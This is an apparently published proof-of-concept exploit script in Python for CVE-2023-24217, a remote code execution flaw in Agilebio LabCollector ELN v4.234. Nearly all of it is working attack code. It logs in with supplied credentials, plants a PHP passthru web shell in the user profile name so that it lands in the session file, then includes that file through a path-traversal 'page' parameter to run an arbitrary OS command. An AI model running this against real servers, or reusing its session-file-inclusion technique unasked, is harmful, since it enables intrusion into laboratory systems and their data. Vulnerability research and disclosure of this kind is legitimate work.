# Exploit Title: Agilebio Lab Collector Electronic Lab Notebook v4.234 - Remote Code Execution (RCE)
# Date: 2023-02-28
# Exploit Author: Anthony Cole
# Vendor Homepage: https://labcollector.com/labcollector-lims/add-ons/eln-electronic-lab-notebook/
# Version: v4.234
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: PHP/MYSQL
# CVE: CVE-2023-24217
# Category: webapps
#
# Lab Collector is a software written in PHP by Agilebio. Version v4.234 allows an authenticated user to execute os commands on the underlying operating system.
#
from argparse import ArgumentParser
from requests import Session
from random import choice
from string import ascii_lowercase, ascii_uppercase, digits
import re
from base64 import b64encode
from urllib.parse import quote_plus
sess:Session = Session()
cookies = {}
headers = {}
state = {}
def random_string(length:int) -> str:
return "".join(choice(ascii_lowercase+ascii_uppercase+digits) for i in range(length))
def login(base_url:str, username:str, password:str) -> bool:
data = {"login": username, "pass": password, "Submit":"", "action":"login"}
headers["Referer"] = f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile"
res = sess.post(f"{base_url}/login.php", data=data, headers=headers)
if("My profile" in res.text):
return res.text
else:
return None
def logout(base_url:str) -> bool:
headers["Referer"] = f"{base_url}//index.php?controller=user_profile&subcontroller=update"
sess.get(f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile%26subcontroller%3Dupdate",headers=headers)
def extract_field_value(contents, name):
value = re.findall(f'name="{name}" value="(.*)"', contents)
if(len(value)):
return value[0]
else:
return ""
def get_profile(html:str):
return {
"contact_name": extract_field_value(html, "contact_name"),
"contact_lab": extract_field_value(html, "contact_lab"),
"contact_address": extract_field_value(html, "contact_address"),
"contact_city": extract_field_value(html, "contact_city"),
"contact_zip": extract_field_value(html, "contact_zip"),
"contact_country": extract_field_value(html, "contact_country"),
"contact_tel": extract_field_value(html, "contact_tel"),
"contact_email": extract_field_value(html, "contact_email")
}
def update_profile(base_url:str, wrapper:str, param:str, data:dict) -> bool:
headers["Referer"] = f"{base_url}/index.php?controller=user_profile&subcontroller=update"
res = sess.post(f"{base_url}/index.php?controller=user_profile&subcontroller=update", data=data, headers=headers)
return True
def execute_command(base_url:str, wrapper:str, param:str, session_path:str, cmd:str):
session_file = sess.cookies.get("PHPSESSID")
headers["Referer"] = f"{base_url}/login.php?%2F"
page = f"../../../../../..{session_path}/sess_{session_file}"
res = sess.get(f"{base_url}/extra_modules/eln/index.php?page={page}&action=edit&id=1&{param}={quote_plus(cmd)}", headers=headers)
return parse_output(res.text, wrapper)
def exploit(args) -> None:
wrapper = random_string(5)
param = random_string(3)
html = login(args.url, args.login_username, args.login_password)
if(html == None):
print("unable to login")
return False
clean = get_profile(html)
data = get_profile(html)
tag = b64encode(wrapper.encode()).decode()
payload = f"<?php $t=base64_decode('{tag}');echo $t;passthru($_GET['{param}']);echo $t; ?>"
data["contact_name"] = payload #inject payload in name field
if(update_profile(args.url, wrapper, param, data)):
login(args.url, args.login_username, args.login_password) # reload the session w/ our payload
print(execute_command(args.url, wrapper, param, args.sessions, args.cmd))
update_profile(args.url, wrapper, param, clean) # revert the profile
logout(args.url)
def parse_output(contents, wrapper) -> None:
matches = re.findall(f"{wrapper}(.*)\s{wrapper}", contents, re.MULTILINE | re.DOTALL)
if(len(matches)):
return matches[0]
return None
def main() -> None:
parser:ArgumentParser = ArgumentParser(description="CVE-2023-24217")
parser.add_argument("--url", "-u", required=True, help="Base URL for the affected application.")
parser.add_argument("--login-username", "-lu", required=True, help="Username.")
parser.add_argument("--login-password", "-lp", required=True, help="Password.")
parser.add_argument("--cmd", "-c", required=True, help="OS command to execute.")
parser.add_argument("--sessions", "-s", required=False, default="/var/lib/php/session/", help="The location where php stores session files.")
args = parser.parse_args()
if(args.url.endswith("/")):
args.url = args.url[:-1]
if(args.sessions.endswith("/")):
args.sessions = args.sessions[:-1]
exploit(args)
pass
if(__name__ == "__main__"):
main()
